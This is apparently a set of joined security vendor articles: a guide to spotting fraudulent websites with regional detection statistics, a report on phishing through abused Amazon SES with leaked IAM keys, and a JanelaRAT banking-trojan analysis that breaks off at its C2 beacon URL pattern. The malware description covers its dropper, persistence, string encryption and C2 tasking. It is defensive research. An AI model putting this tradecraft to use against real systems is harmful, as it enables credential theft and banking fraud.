Shady sites can also masquerade as providers of mediation services, such as legal or real estate assistance. In reality, the service is either never delivered or provided in a stripped-down, incomplete form. For example, a user might be prompted to pay for a service that’s normally provided for free. The danger here lies not only in losing money for non-existent services but also in the significant risk of exposing personal data, such as ID details, taxpayer identification numbers, social security numbers, or driver’s license information. Once in the hands of attackers, this data can become a tool for executing further scams or targeted attacks.

On the whole, suspicious sites are fairly difficult to distinguish from legitimate, trustworthy services. Masquerading as a legitimate business is the primary goal of these sites, and the fraudulent schemes they employ are not always obvious. Nevertheless, there are protective measures as well as certain indicators that can help you suspect a site is unsafe for purchases or financial transactions.

How to identify suspicious or fraudulent websites

Despite the increasingly convincing attempts to create fake shops, the majority of them still lack the quality of real online stores, and there are many signs that may give them away. Some of these signs can be caught by the eye while others require a bit of technical investigation. By combining visual inspection, technical checks, and trusted online tools, you can protect yourself from financial loss or data theft.

Visual and manual clues

You don’t need to be a cybersecurity expert to catch many red flags just by observing the site’s domain, visuals, language and behavior. For instance, scam sites often have strange or randomly generated names, filled with numbers, underscores, hyphens, or meaningless words, like best-shop43.com. In addition, such vague top-level domains as .xyz, .top, or .shop are also frequently used in scams because they’re cheap and easy to register.

Furthermore, most fake stores sites look unprofessional, with poor visuals, pixelated images, mismatched fonts, or copied templates. Many fraudulent websites borrow layouts or logos from other brands or free templates, which makes them appear generic and sketchy.

Another major giveaway lies in the content itself. Be aware of persuasive language, unrealistic promises, or emotional triggers such as No KYC, Risk-free returns, 100% guaranteed income, Up to 300% profit, or Passive income with zero effort. Unrealistic deals are another red flag. If the products are listed at extremely low prices, continuous countdown timers, and “limited time only” messages that are often used to pressure you into making a quick purchase, it’s a clear tell of a fraudulent website.

Legitimate businesses always provide verifiable contact details, such as a physical address, company name, and customer support. On the contrary, scam sites hide this information. You may also notice the non-functioning pages, broken or suspicious links leading to unrelated external sites which indicate poor maintenance or malicious intent.

Another important signal is the website’s social media presence. Legitimate online businesses usually maintain at least one active social media account to promote their products and communicate with customers. In most cases, these businesses have long-established social media accounts with harmonized posting history and engagement from real users, consistency between the brand website and social media profiles (same name, logo, and links). The links to social media profiles from the website are usually direct. In contrast, fraudulent or deceptive websites often lack any meaningful social media presence or display signs of superficial or artificial activity. This may include missing social media accounts altogether, social media icons that lead to non-existent, inactive, or unrelated pages, or recently created profiles with very few posts and minimal user engagement. In some cases, comment sections are disabled or dominated by spam and automated content, suggesting an attempt to avoid public interaction rather than engage with customers.

Lastly, the payment options offered by the site can also tell a lot about its legitimacy. Be extremely cautious if a website only accepts cryptocurrency, wire transfers, or third-party P2P payments. These payment methods are irreversible and are preferred by scammers. Legitimate e-commerce platforms typically offer secure and reversible payment options, such as credit cards or trusted payment gateways that include buyer protection policies.

However, the absence or existence of any of these factors alone does not necessarily indicate malicious intent. It should be evaluated in combination with technical, linguistic, and behavioral indicators, rather than treated as a standalone signal of legitimacy.

Technical indicators to check

Looking into technical signs can reveal whether a website is trustworthy or potentially fraudulent.

One of the first things to check is the domain age. Scam websites are often short-lived, appearing only for a few weeks or months before disappearing once users start reporting them. To check when the domain was created, use a WHOIS lookup. If it’s less than six months old, be cautious — especially for e-commerce or investment sites, where legitimacy and trust take time to build.

Let’s take a look at the registration details for the popular online marketplace Amazon. As we can see from the WHOIS information, it was registered in 1994.

Meanwhile, a reported suspicious online store was created a couple of months ago.

Legitimate websites usually operate on stable hosting platforms and remain on the same IP addresses or networks for long periods. In contrast, fraudulent websites often move between servers (in most cases using a cheap shared hosting service) or reuse infrastructure already associated with abuse. Checking the IP address reputation can reveal if the website or the hosting server has previously been linked to suspicious activities. Even if the website looks legitimate, a poor IP reputation can expose it.

In addition to that, looking at the infrastructure behavior over time can reveal patterns about its legitimacy. Websites associated with fraudulent activity often show short lifespans, sudden spikes in activity, or rapid appearance and disappearance, which indicates a coordinated campaign rather than a legitimate business.

Another important clue is hidden ownership. When the WHOIS details show “Redacted for Privacy” or leaves the organization name blank, it may indicate that the website owner is deliberately hiding their identity.

We should point out that while this can raise suspicion during investigations, hidden WHOIS data is not inherently malicious. Many legitimate businesses use privacy protection services for valid reasons. These may include protection from spam and phishing after public email addresses are taken from WHOIS databases, personal safety for small business owners, and brand protection to prevent competitors or malicious actors from targeting the registrant. This means that some businesses can use services like WHOIS Privacy Protection, Domains By Proxy, or PrivacyGuardian.org to remove the WHOIS data while still operating transparently on their websites through clear contact details, customer support channels, and legal pages (e.g. terms of use).

Therefore, hidden ownership should be treated as a contextual risk indicator, not a standalone proof of fraud. It becomes more suspicious when combined with other signals such as newly registered domains, and lack of legal information.

Next, you can check the security headers of the website. Legitimate websites are usually well maintained and include several key HTTP headers for protection. Some examples include:

• Content-Security-Policy (CSP) provides strong defense against cross-site scripting (XSS) attacks by defining which scripts are allowed to run on the site and blocking any malicious JavaScript that could steal login data or inject fake forms.
• HTTP Strict-Transport-Security (HSTS) forces browsers to connect to the site only over HTTPS. It ensures all communication is encrypted and prevents redirecting users to an insecure (HTTP) version of the site.
• X-Frame-Options prevents clickjacking, which is a type of attack where a legitimate-looking button or link on a malicious page secretly performs another action in the background.
• X-Content-Type-Options blocks MIME-type attacks by preventing browsers from misinterpreting file types.
• Referrer-Policy controls how much information about your previous browsing (referrer URLs) is shared with other sites.

These headers form the “digital hygiene” of a website. Their absence doesn’t always mean a site is malicious, but it does suggest a lack of security awareness or professional maintenance — both strong reasons to be cautious.

You should also check the SSL certificate. Scam sites may use self-signed or short-lived SSL certificates. You can inspect this by clicking the padlock icon in your browser’s address bar — if it says “not secure” or the certificate authority seems unfamiliar, that’s a red flag.

You can check the security headers and the SSL certificate by sending an HTTP request programmatically or by using some online service.

Another indicator that provides insight into how well a website is done and managed is DNS configurations. Legitimate businesses typically use reliable DNS providers and maintain consistent DNS records. Missing the name server NS or mail exchange MX records may indicate poor DNS configuration. In addition to NS and MX, reputable sites also configure SPF and DMARC records to protect their brand from email spoofing and phishing. Something scam website developers won’t bother with because they don’t intend to build a long-standing reputation.

You can check the configurations of DNS records either programmatically or by using an online service.

Another recommendation is to pay attention to website behavior. If there are frequent redirects, pop-up ads, or background requests to unknown domains, this may indicate unsafe scripting or tracking.

How to protect yourself

Tools and databases for detecting suspicious websites

We at Kaspersky have built an intelligent system for detecting suspicious web resources and added this new type of protection into many of our products, including Kaspersky Premium, Kaspersky for Android and iOS, and others. Our detection model is based on many factors, including but not limited to the following:

• domain name and age,
• IP reputation,
• stability of the infrastructure used,
• DNS configurations,
• HTTP security headers,
• digital identity and popularity of the web resource.

Kaspersky has been certified as a provider of effective protective technology for fake shop detection.

When a user tries to visit a site flagged as having an undefined trust level, our solutions show a warning to stop the visitor from becoming a victim of personal data leaks, financial losses or a bad purchase:

This component is on by default.

Moreover, there are several online tools and databases that can help assess a website’s legitimacy:

• ScamAdviser analyzes trust based on WHOIS, server location, and web reputation.
• APIVoid provides risk scoring using DNS, IP, and domain reputation databases.
• National government databases often maintain official lists of fraudulent or blacklisted domains.

Preventive measures

To protect yourself from such threats, it might a good idea to take some additional preventive measures. Always double-check the URL and domain name, especially when you are about to click a link or make a payment. Make sure the site uses HTTPS and has a trusted certificate.

You can use standard browser tools to verify site security. For example, in Google Chrome, clicking the site information button (the lock or settings icon in the address bar) displays details about the connection security and the site’s certificate.

In the Security section, you can check whether the site supports HTTPS – it should say “Connection is secure” – and view the site’s digital certificate.

Additionally, keep reliable security software with real-time protection running on your device to stop you from accessing dangerous websites. Do not download any files or enter your personal information on websites that look unprofessional or suspicious. And finally, remember the golden rule: if a deal seems too good to be true, it often is.

If you realize that you’re on a scam website, it’s important to perform certain post-incident actions immediately. First, contact your bank or payment provider as soon as possible to block the transaction or card. Then, change your passwords for the services which might have been compromised, and run a full antivirus scan on your device to detect and remove any potential threats. Lastly, consider reporting the website to the cybercrime agency in your country or to the consumer protection agency. Sharing your experience online by leaving a review or warning will give notice to potential customers alike.

By staying careful and taking quick actions, you can significantly reduce the chances of being a target and help make the internet a safer place for everyone.

An overview of detection statistics for sites with an undefined trust level

To illustrate the types of suspicious sites prevalent in various regions around the world, we analyzed anonymized detection data from Kaspersky solutions for the “websites with an undefined trust level” category in January 2026. For each region, we identified the 10 most frequently encountered sites and calculated the share of each within that list. To maintain privacy, specific domains are not listed directly; instead, they’re described based on their functionality and characteristics.

Most visited suspicious sites

First, let’s examine the sites that appear across multiple regions, indicating a high prevalence.

In 9 out of the 10 regions analyzed, we encountered a suspicious image processing platform (*a*o*.com). This site positions itself as a photo editing tool, but in reality, it serves as an intermediary server for uploading images used in phishing and other campaigns. By interacting with such a site, users risk exposing personal data under the guise of uploading images or falling victim to a phishing attack.

Percentage of the *a*o*.com domain detections by region, January 2026 (download)

This site has the largest share of detections in the Russian Federation, where it ranks first in the TOP 10 with a 40.80% share. It is also prevalent in Latin American countries (21.70%) and the CIS (14.64%), while it’s least common in Canada at 0.24%.

The next site appeared in 7 regions. It consists of a landing page for a fake antivirus solution presented as a browser extension (*n*s*.com). This extension redirects the user to a fake search engine page allowing it to collect data and track user activity, specifically search queries.

Percentage of the *n*s*.com domain detections by region, January 2026 (download)

This site is most frequently detected in South Asia, with a share of 33.31%. Its presence in Canada and Oceania is roughly equal (15.47% and 15.09%, respectively). We recorded the lowest number of detections in Africa, at 2.99%.

Another suspicious browser extension appeared in the TOP 10 in 6 out of the 10 regions. It’s a fake privacy-enhancing tool hosted at *w*a*.com. Instead of providing the advertised privacy features, this extension carries a high risk of intercepting browser data. It can modify browser settings, harvest user data, and swap the default search engine for a fake one. Furthermore, it maintains full control over all browser traffic.

Percentage of the *w*a*.com domain detections by region, January 2026 (download)

This “service” has its largest share, 22.25%, in the Middle East and North Africa, and is also quite common in Canada (16.26%). It’s least frequently encountered in Latin America (5.38%) and East Asia (4.02%).

The site *o*r*.com appeared in five regional rankings. It’s a fake security service promising to provide online safety by warning users about malicious sites and dangerous search queries. This extension has the potential to steal cookies (including session cookies), inject advertisements, spoof login forms, and harvest browser history and search queries. We noted that this site made the TOP 10 in Africa (0.59%), the MENA (Middle East and North Africa) region (4.57%), Europe (5.61%), Canada (7.21%), and Oceania (1.93%).

In 4 out of the 10 regions, we identified several other recurring sites. One of them (*n*p*.xyz) mimics a repository for creative AI image generation prompts while capturing browser data. The domain hosting this site exhibits several red flags: it was recently registered, and the owner’s information is hidden. This site reached the TOP 10 in Africa (0.51%), the MENA region (7.04%), Latin America (22.54%, ranking first in that region), and South Asia (5.91%).

The second service (*i*s*.com) positions itself as a tool for safe searching, protecting the browser from threats, and verifying extensions. However, this is a typical browser hijacker, much like the others mentioned above. It made the TOP 10 in South Asia (8.03%), Oceania (17.97%), Europe (3.90%), and Canada (14.35%).

The third site (*h*t*.com) poses as a private browsing extension. In reality, it’s another potentially unwanted application designed for browser hijacking: it modifies settings, steals sensitive data (cookies, browser history, and queries), and can redirect the user to phishing pages. Users have specifically noted the difficulty involved in removing the extension. This site appears in the TOP 10 for the MENA region (10.17%), Canada (7.06%), Europe (3.81%), and Oceania (2.81%).

Another domain (*o*t*.com) that reached the TOP 10 in four regions is a service mimicking a browser extension for safe searching and web browsing. It’s dangerous because it injects ads and steals user data. It’s important to note that such extensions can be installed without explicit user consent – for example, via links embedded in other software. This service holds the number one spot in two regions: Canada (25.72%) and Oceania (30.92%), while also appearing in the TOP 10 for East Asia (8.01%) and Africa (0.88%).

Consequently, we can see that the majority of suspicious sites detected by our solutions worldwide are browser hijackers masquerading as security products. Nevertheless, other categories of sites also appear in the TOP 10.

Next, we’ll examine each region individually, focusing on descriptions of domains not previously covered. For clarity, the sites mentioned above will be marked as [MULTI-REGION], while those appearing in only two or three regions will include the names of those specific areas. We’ll observe several regional overlaps and similarities, allowing us to determine which types of suspicious sites are popular both within specific regions and globally.

Africa

Distribution of the TOP 10 suspicious websites in Africa, January 2026 (download)

The three most prevalent domains in African countries are found exclusively in this region. All of them – *i*r*.world (60.27%), *m*a*.com (22.84%), and *e*p*.com (9.36%) – are potentially fraudulent online trading platforms suspected of using forged licenses. These sites employ classic scam schemes where it’s impossible to withdraw any alleged earnings. In fifth place is a domain we’ll also see in the European TOP 10, *r*e*.com (1.46%): a platform marketed as a tool for retail and semi-professional traders. It charges for services available elsewhere for free. Eighth place is held by a site that also appears in the Russian TOP 10: *a*c*.com (0.56%). This is a dubious AI tool that claims to offer free subscriptions to a premium graphics editor. In ninth place is a domain that also surfaces in the Canadian TOP 10: *u*e*.com (0.53%), a browser extension of the “web protection” variety that we’ve encountered previously.

In summary, the African region is dominated by financial scams within the online trading and brokerage sectors. These include fake platforms that make it impossible to withdraw funds and use fake licenses and classic schemes to steal users’ money. Additionally, Africa sees paid tools that duplicate free services and questionable AI-based subscriptions. The primary threat in this region is financial loss through fraudulent investment-themed sites.

MENA

Distribution of the TOP 10 suspicious websites in the Middle East and North Africa, January 2026 (download)

In the MENA region, the site *a*v*.su holds the top spot with a 28.64% share; notably, this site also appears in the TOP 10 for Russia. It markets itself as a tool for building custom VoIP-PBX systems. However, it has an extremely low trust rating and is frequently associated with phishing, and hidden redirects. Using this service carries significant risks, including data leaks, and financial loss.

Ranked seventh is *a*r*.foundation (6.32%), an AI bot allegedly designed for trading, which we also identified in the TOP 10 for Oceania. This service has been flagged as an investment scam operating as a pyramid scheme with the hallmarks of a Ponzi scheme.

The ranking is rounded out by two domains not found in any other region. The first one, *l*e*.pro (4.42%), is a spoof of a popular betting service. The second, *p*r*.group (2.21%), is a clone of a well-known broker. Both sites are scams.

In the MENA region, the landscape is dominated by fake VoIP services as well as counterfeits of financial and betting platforms, which attackers use to conduct phishing attacks, and perform hidden redirects. A significant portion of suspicious sites consists of fake online privacy tools and browser hijackers masquerading as security extensions. Ponzi schemes and cryptocurrency scams are also prominent. The primary risks for the region are data theft, and financial loss.

Latin America

Distribution of the TOP 10 suspicious websites in Latin America, January 2026 (download)

In Latin America, we identified five popular suspicious sites specific to this region, which is unusual compared to other areas where more overlaps are typically observed. Ranking third with a share of 10.81% is the fake betting platform *b*e*.net. In fifth place is *r*e*.club, an illegitimate clone of a well-known bookmaker, with a share of 7.82%.

Further down the list of local threats are *a*a*.com.br (7.02%), a Brazilian Ponzi scam; *s*a*.com (5.07%), which offers dubious investment programs; and *t*r*.com (4.53%), a potentially dangerous trading platform.

In Latin America, the most-visited suspicious sites are betting-themed scams, including both clones of legitimate sites and those built from scratch. Also prevalent are Ponzi schemes, fake investment programs, and dubious online brokers. A significant portion of these sites consists of browser hijackers posing as crypto platforms and AI bots. The primary threats in Latin American countries include financial loss through gambling and Ponzi schemes, as well as the theft of NFTs and other tokens.

East Asia

Distribution of the TOP 10 suspicious websites in East Asia, January 2026 (download)

In the East Asian TOP 10, we see the highest concentration of domains that are absent from other regional rankings.

In first place, with an 18.77% share, is the fake broker *r*x*.com, which can be used to steal personal data or funds. Second place is held by a crypto-gaming site (16.44%) that we previously encountered in the Latin American TOP 10. Visitors to this site risk losing NFTs and other tokens. In third place is the domain *u*h*.net (11.61%), used for redirects, which can hijack sessions. Following this is *s*m*.com (9.98%), a domain typically used as a browser-hijacking server and for phishing attacks, serving as a link in an infection chain.

Rounding out the local threats in East Asia are the following domains: *e*v*.com (9.37%), utilized in drive-by attacks; *a*k*.com (9.16%), an API-like domain associated with suspicious scripts and extensions; and *b*l*.com (4.38%), a domain potentially used for redirects.

East Asia has a high concentration of region-specific fake brokers, crypto gaming platforms, and NFT marketplaces. The primary threats for this region include the loss of financial data, NFTs, and other tokens, as well as session hijacking.

South Asia

Distribution of the TOP 10 suspicious websites in South Asia, January 2026 (download)

In South Asian countries, we also observe a concentration of local suspicious sites specific to the region.

The second most popular site in the region is *a*s*.com (12.01%), a poor-reputation, high-risk microloan service typical of South Asia. By interacting with these sites, users risk not only losing significant funds but also compromising their overall security. Following this are *v*n*.com with a 9.47% share and *l*f*.com with 8.65%. These domains are employed in various fraudulent schemes, ranging from phishing to spam.

The TOP 10 also includes *s*o*.com (4.80%), a free video downloading service associated with a high risk of infection. The final site we analyzed in the South Asia region is *c*o*.site (1.89%), a pseudo-tool for local SEO optimization that carries the danger of data loss and a high risk of financial fraud through subscription sign-ups.

In summary, the region is dominated by fake antivirus extensions, microloan services, dubious video downloaders, and counterfeit SEO tools. The primary risks for South Asia include financial fraud, phishing and spam distribution, and data theft.

CIS

When analyzing statistics for suspicious sites in CIS countries, we treat Russia as a separate region due to the unique characteristics of its online space which are not found in any other CIS member states. However, we’ve placed these two regions in the same section, as we’ve observed overlaps between them that are not seen in other parts of the world.

Distribution of the TOP 10 suspicious websites in the CIS, January 2026 (download)

The top two sites in the CIS TOP 10 also appear in the Russian TOP 10. The domain *r*a*.bar, which ranks first in the CIS (39.50%), holds the second spot in Russia (15.93%) and is a fake trading site. It’s worth noting that sites in the .bar domain zone are frequently used for scams. In second place in the CIS (15.29%) and sixth in Russia (3.75%) is the domain *p*o*.ru, which is often associated with bots for inflating follower counts and automating community management.

Domains from fourth to eighth place are specific only to the CIS region and don’t appear in the Russian TOP 10. These sites include:

• *a*e*.online (8.42%): an online image editor that carries risks of data harvesting
• *n*a*.io (6.51%): a high-risk cryptocurrency trading platform
• *e*r*.com (3.72%): a site promising free cryptocurrency and posing the risk of compromising visitors’ private keys and digital wallets
• *s*o*.ltd (3.70%): a domain with an extremely low trust rating
• *s*.gg (3.49%): a scam site masquerading as a play-to-earn blockchain game

The ranking concludes with sites that overlap with the Russian region. *a*.consulting (2.42%) is a fake clone of a binary options site, and *a*.lol (2.32%) is a domain suspected of dubious activity.

The CIS landscape is dominated by fake trading platforms (particularly crypto exchanges), promises of easy profits, play-to-earn scams, and dubious investment projects. We also observe many bots for inflating social metrics and automation. The primary threat in the CIS is the theft of private keys, digital wallets, and funds through investment schemes and lures involving online promotion.

Distribution of the TOP 10 suspicious websites in Russia, January 2026 (download)

The Russian TOP 10 includes three unique domains not found in the rankings of other regions. The first, *n*m*.top (7.84%), is an imitator of a well-known binary options broker. This suspicious site was recently registered and has a tellingly low rating on domain verification services. The second, *t*e*.ru (3.25%), claims to be an educational platform and has a dubious subscription system with a high probability of fraud involving difficulties in canceling subscriptions. The third site, *e*e*.org (3.14%), positions itself as a tool for a popular media platform, but it’s actually a scam that fails to provide its stated services.

Overall, the Russian landscape is characterized by fake binary options brokers and sketchy sites with fraudulent subscriptions posing as e-learning platforms. There are also frequent instances of sites spoofing well-known legitimate services. The primary risks in Russia are scams related to the knowledge business sector, as well as the theft of money and personal data.

Europe

Distribution of the TOP 10 suspicious websites in Europe, January 2026 (download)

In the European region, we’ve found two unique domains. The first of these, *c*r*.org, has been identified as part of a chain for massive phishing and spam attacks. It accounts for a 16.08% share of the TOP 10. The second site, *o*n*.de, is an unofficial reseller with a poor reputation and a high likelihood of fraud. This domain ranks second to last in our statistics with a 5.95% share.

Among the sites not previously covered, the European TOP 10 includes one site that also appears in the Oceania TOP 10: *o*i*.com (6.61%). This is a classic cryptocurrency scam promising passive income.

A significant portion of suspicious sites in Europe consists of intermediary sites for phishing and spam, fake security extensions, and crypto scams. Unofficial sales services and paid trading tools are also on the list. The primary threats in the European region include session hijacking, data theft, spam, and investment fraud.

Canada

Distribution of the TOP 10 suspicious websites in Canada, January 2026 (download)

Canada has been designated as a separate region to illustrate prevailing trends within North America. The first four positions in the Canadian TOP 10 are held by multiregional domains discussed previously. In fifth place is *t*c*.com (10.88%), which also appears in the TOP 10 rankings for Oceania and South Asia. This is yet another browser extension masquerading as a security solution. Occupying the final spot is the domain *e*w*.com (0.17%), which is unique to the Canadian market. This site operates a dropshipping scam, offering products at prices significantly below market value. Customers typically either never receive their orders or get low-quality counterfeits.

The landscape of dubious websites in Canada is largely defined by fraudulent extensions capable of hijacking browser data, tracking user activity, spoofing search queries, harvesting cookies, and injecting ads. This is further compounded by dropshipping schemes involving counterfeit goods. The primary risks for users in Canada include data theft and financial loss from purchasing substandard products.

Oceania

Distribution of the TOP 10 suspicious websites in Oceania, January 2026 (download)

The final region under consideration is Oceania. Notably, we didn’t identify a single domain unique to this region. Every site appearing in the TOP 10 represents a global threat that’s already been detailed in previous sections. To summarize the findings for this region: the primary threats consist of fake security extensions and privacy products designed for browser hijacking, tracking user activity, displaying advertisements, and stealing data. There’s a minimal presence of crypto Ponzi schemes in this area. The main risk for users in Oceania is the loss of privacy and confidentiality through unwanted apps.

Conclusion

Suspicious websites are particularly dangerous because they often masquerade as legitimate sites with high levels of persuasiveness. They mimic online stores, subscription-based streaming platforms, repair firms, and various other services. Unlike standard phishing sites, they employ more sophisticated manipulations to deceive users, tricking them into voluntarily handing over their personal data and transferring funds.

By examining the TOP 10 suspicious sites across the world’s major regions, we can draw several conclusions. On average, the most prevalent threats globally are fraudulent extensions masquerading as security solutions and privacy services. Their true purpose is to hijack browser data, track user activity, and display ads. We also frequently encounter phishing platforms for image processing and financial scams involving trading, cryptocurrency, betting, and microloans. Our statistics demonstrate that these sites not only employ classic fraudulent schemes centered on easy money but also adapt to contemporary trends targeting younger audiences and specific regional characteristics. The primary risks for users interacting with these sites are a combination of privacy threats and financial loss.

To help protect users from these shady sites, we’ve introduced the category of “websites with an undefined trust level” as part of the web filtering features in our solutions. However, it’s important to note that user awareness and individual responsibility play a significant role in ensuring safe web browsing. It’s essential for users to be able to recognize suspicious sites and remain vigilant toward any that appear untrustworthy.

Introduction

The primary goal for attackers in a phishing campaign is to bypass email security and trick the potential victim into revealing their data. To achieve this, scammers employ a wide range of tactics, from redirect links to QR codes. Additionally, they heavily rely on legitimate sources for malicious email campaigns. Specifically, we’ve recently observed an uptick in phishing attacks leveraging Amazon SES.

The dangers of Amazon SES abuse

Amazon Simple Email Service (Amazon SES) is a cloud-based email platform designed for highly reliable transactional and marketing message delivery. It integrates seamlessly with other products in Amazon’s cloud ecosystem, AWS.

At first glance, it might seem like just another delivery channel for email phishing, but that isn’t the case. The insidious nature of Amazon SES attacks lies in the fact that attackers aren’t using suspicious or dangerous domains; instead, they are leveraging infrastructure that both users and security systems have grown to trust. These emails utilize SPF, DKIM, and DMARC authentication protocols, passing all standard provider checks, and almost always contain .amazonses.com in the Message-ID headers. Consequently, from a technical standpoint, every email sent via Amazon SES – even a phishing one – looks completely legitimate.

Phishing URLs can be masked with redirects: a user sees a link like amazonaws.com in the email and clicks it with confidence, only to be sent to a phishing site rather than a legitimate one. Amazon SES also allows for custom HTML templates, which attackers use to craft more convincing emails. Because this is legitimate infrastructure, the sender’s IP address won’t end up on reputation-based blocklists. Blocking it would restrict all incoming mail sent through Amazon SES. For major services, that kind of measure is ineffective, as it would significantly disrupt user workflows due to a massive number of false positives.

How compromise happens

In most cases, attackers gain access to Amazon SES through leaked IAM (AWS Identity and Access Management) access keys. Developers frequently leave these keys exposed in public GitHub repositories, ENV files, Docker images, configuration backups, or even in publicly accessible S3 buckets. To hunt for these IAM keys, phishers use various tools, such as automated bots based on the open-source utility TruffleHog, which is designed for detecting leaked secrets. After verifying the key’s permissions and email sending limits, attackers are equipped to spread a massive volume of phishing messages.

Examples of phishing with Amazon SES

In early 2026, one of the most common themes in phishing emails sent with Amazon SES was fake notifications from electronic signature services.

The email’s technical headers confirm that it was sent with Amazon SES. At first glance, it all looks legitimate enough.

In these emails, the victim is typically asked to click a link to review and sign a specific document.

Upon clicking the link, the user is directed to a sign-in form hosted on amazonaws.com. This can easily mislead the victim, convincing them that what they’re doing is safe.

The resulting form is, of course, a phishing page, and any data entered into it goes directly to the attackers.

Amazon SES and BEC

However, Amazon SES is used for more than just standard phishing; it’s also a vehicle for a very sophisticated type of BEC campaigns. In one case we investigated, a fraudulent email appeared to contain a series of messages exchanged between an employee of the target organization and a service provider about an outstanding invoice. The email was sent as if from that employee to the company’s finance department, requesting urgent payment.

The PDF attachments didn’t contain any malicious phishing URLs or QR codes, only payment details and supporting documentation.

Naturally, the email didn’t originate with the employee, but with an attacker impersonating them. The entire thread quoted within the email was actually fabricated, with the messages formatted to appear as a legitimate forwarded thread to a cursory glance. This type of attack aims to lower the user’s guard and trick them into transferring funds to the scammers’ account.

Takeaways

Phishing via Amazon SES experienced an uptick in January 2026 and has remained relatively steady through Q1. By weaponizing this service, attackers avoid the effort of building dubious domains and mail infrastructure from scratch. Instead, they hijack existing access keys to gain the ability to blast out thousands of phishing emails. These messages pass email authentication, originate from IP addresses that are unlikely to be blocklisted, and contain links to phishing forms that look entirely legitimate.

Since these Amazon SES phishing attacks stem from compromised or leaked AWS credentials, prioritizing the security of these accounts is critical. To mitigate these risks, we recommend following these guidelines:

• Implement the principle of least privilege when configuring IAM access keys, granting elevated permissions only to users who require them for specific tasks.
• Transition from IAM access keys to roles when configuring AWS; these are profiles with specific permissions that can be assigned to one or several users.
• Enable multi-factor authentication, an ever-relevant step.
• Configure IP-based access restrictions.
• Set up automated key rotation and run regular security audits.
• Use the AWS Key Management Service to encrypt data with unique cryptographic keys and manage them from a centralized location.

We recommend that users remain vigilant when handling email. Do not determine whether an email is safe based solely on the From field. If you receive unexpected documents via email, a prudent precaution is to verify the request with the sender through a different communication channel. Always carefully inspect where links in the body of an email actually lead. Additionally, robust email security solutions can provide an essential layer of protection for both corporate and personal correspondence.

Background

JanelaRAT is a malware family that takes its name from the Portuguese word “janela” which means “window”. JanelaRAT looks for financial and cryptocurrency data from specific banks and financial institutions in the Latin America region.

JanelaRAT is a modified variant of BX RAT that has targeted users since June 2023. One of the key differences between these Trojans is that JanelaRAT uses a custom title bar detection mechanism to identify desired websites in victims’ browsers and perform malicious actions.

The threat actors behind JanelaRAT campaigns continuously update the infection chain and malware versions by adding new features.

Kaspersky solutions detect this threat as Trojan.Script.Generic and Backdoor.MSIL.Agent.gen.

Initial infection

JanelaRAT campaigns involve a multi-stage infection chain. It starts with emails mimicking the delivery of pending invoices to trick victims into downloading a PDF file by clicking a malicious link. Then the victims are redirected to a malicious website from which a compressed file is downloaded.

Throughout our monitoring of these malware campaigns, the compressed files have typically contained VBScripts, XML files, other ZIP archives, and BAT files. They ultimately lead to downloading a ZIP archive that contains components for DLL sideloading and executing JanelaRAT as the final payload.

However, we have observed variations in the infection chains depending on the delivered version of the malware. The latest observed campaign evolved by integrating MSI files to deliver a legitimate PE32 executable and a DLL, which is then sideloaded by the executable. This DLL is actually JanelaRAT, delivered as the final payload.

Based on our analysis of previous JanelaRAT intrusions, the updates in the infection chain represent threat actors’ attempts to streamline the process, with a reduced number of malware installation steps. We’ve observed a logical sequence in how components, such as MSI files, have been incorporated and adapted over time. Moreover, we have observed the use of auxiliary files — additional components that aid in the infection — such as configuration files that have been changing over time, showing how the threat actors have adapted these infections in an effort to avoid detection.

Initial dropper

The MSI file acts as an initial dropper designed to install the final implant and establish persistence on the system. It obfuscates file paths and names with the objective to hinder analysis. This code is designed to create several ActiveX objects to manipulate the file system and execute malicious commands.

Among the actions taken, the MSI defines paths based on environment variables for hosting binaries, creating a startup shortcut, and storing a first-run indicator file. The dropper file checks for the existence of the latter and for a specific path, and if either is missing, it creates them. If the file exists, the MSI file redirects the user to an external website as a decoy, showing that everything is “normal”.

The MSI dropper places two files at a specified path: the legitimate executable nevasca.exe and the PixelPaint.dll library, renaming them with obfuscated combinations of random strings before relocating. An LNK shortcut is created in the user’s Startup folder, pointing to the renamed nevasca.exe executable, ensuring persistence. Finally, the nevasca.exe file is executed, which in turn loads the PixelPaint.dll file that is JanelaRAT.

Malicious implant

In this case, we analyzed JanelaRAT version 33, which was masqueraded as a legitimate pixel art app. Similar to other malware versions, it was protected with Eazfuscator, a common .NET obfuscation tool. We have also seen previous JanelaRAT samples that used the ConfuserEx obfuscator or its custom builds. The malware uses Control Flow Flattening method and renames classes and variables to make the code unreadable without deobfuscation.

JanelaRAT monitors the victim’s activity, intercepts sensitive banking interactions, and establishes an interactive C2 channel to report changes to the threat actor. While screen monitoring is also present, the core functionality focuses on financial fraud and real-time manipulation of the victim’s machine. The malware collects system information, including OS version, processor architecture (32-bit, 64-bit, or unknown), username, and machine name. The Trojan evaluates the current user’s privilege level and assigns different nicknames for administrators, users, guests, and an additional one for any other role.

The malware then retrieves the current date and constructs a beacon to register the victim on the C2 server, along with the malware version. To prevent multiple instances, the malware creates the mutex and exits if it already exists.

String encryption

All JanelaRAT samples utilize encrypted strings for sending information to the C2 and obfuscating embedded data. The encryption algorithm remains consistent across campaigns, combining base64 encoding with Rijndael (AES). The encryption key is derived from the MD5 hash of a 4-digit number and the IV is composed of the first 16 bytes of the decoded base64 data.

C2 communication and command handling

After initialization, JanelaRAT establishes a TCP socket, configuring callbacks for connection events and message handling. It registers all known message types, executing specific system tasks based on the received message.

Following socket initialization, the malware launches two background routines:

1. User inactivity and session tracking
   This routine activates timers and launches secondary threads, including an internal timer and a user inactivity monitor. The malware determines if the victim’s machine has been inactive for more than 10 minutes by calculating the elapsed time since the last user input. If the inactivity period exceeds 10 minutes, the malware notifies the C2 by sending the corresponding message. Upon user activity, it notifies the threat actor again. This makes it possible to track the user’s presence and routine to time possible remote operations.
   

   Timer that looks for 10 minutes of inactivity

2. Victim registration and further malicious activity
   This routine is launched immediately after the socket setup. It triggers two subroutines responsible for periodic HTTP beaconing and downloading additional payloads.
   1. The first subroutine executes a PowerShell downloaded from a staging server during post-exploitation. Its main objective is to establish persistence by downloading the PixelPaint.dll file once again. The routine then builds and executes periodic HTTP requests to the C2, reporting the malware’s version and the victim machine’s security environment. It loops continuously as long as a specific local file does not exist, ensuring repeated telemetry transmission. The file was not observed being extracted or created by the malware itself; rather, it appears to be placed on the system by the threat actor during other post-exploitation activities. Based on previous incidents, this file likely contains instructions for establishing persistence.

      This JanelaRAT version constructs a second C2 URL for beaconing, using several decrypted strings and following a pattern that uses different parameters to report information about new victims:

      <C2Domain>?VS=<malwareversion>&PL=<profilelevel>&AN=<presenceofbankingsoftware>

